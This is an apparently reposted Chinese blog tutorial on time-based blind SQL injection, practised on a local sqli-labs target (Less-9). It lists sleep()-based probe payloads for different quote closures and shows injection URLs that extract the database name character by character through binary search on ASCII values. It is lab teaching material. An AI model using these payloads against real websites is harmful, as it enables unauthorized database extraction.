基于时间的盲注

版权声明:莫者 https://blog.csdn.net/weixin_40709439/article/details/82263266

延时注入,用的最多的注入

常用的判断语句:

' and if(1=0,1, sleep(10)) --+ 

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

写这篇文章只是为了更好的理解延时注入的原理

进入本地搭建的靶场进行练习

扫描二维码关注公众号,回复: 4242589 查看本文章

 不进行fuzz测试了,直接看源码

第一可知道为单引号存在注入,利用‘%23绕过

第二个不显示任何错误信息,也就无法通过回显或者不同页面判断注入是否成功,这样只能使用延时去判断了

测试注入点:

http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(6),1)%23liy

利用if(条件,0,1)函数,当条件为真,返回0,假则返回1

在这里是‘ and 1=1 为真,延时6秒,假则直接返回(我电脑比较老所以直接返回也耗费一秒多),注入点和注入语句基本确定可使用。

那就进行注入传统步骤

爆数据库

http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23

利用二分法猜解数据库的每一个数据


二分法以此类推,116时直接返回页面。说明数据库第一个数据的ascii码为115,即为s,后面的数据同理,最后数据库名为‘security’

当然在爆数据库前最好先爆数据库长度

表、列、字段在前面一篇有介绍过相应语法,可自行查阅,这里就不继续演示了,但这里基本已经完成对延时注入的理解,当然实际环境中,很多常用的函数是会被过滤的,需要你们自己去百度看看如何绕过。

猜你喜欢

转载自blog.csdn.net/weixin_40709439/article/details/82263266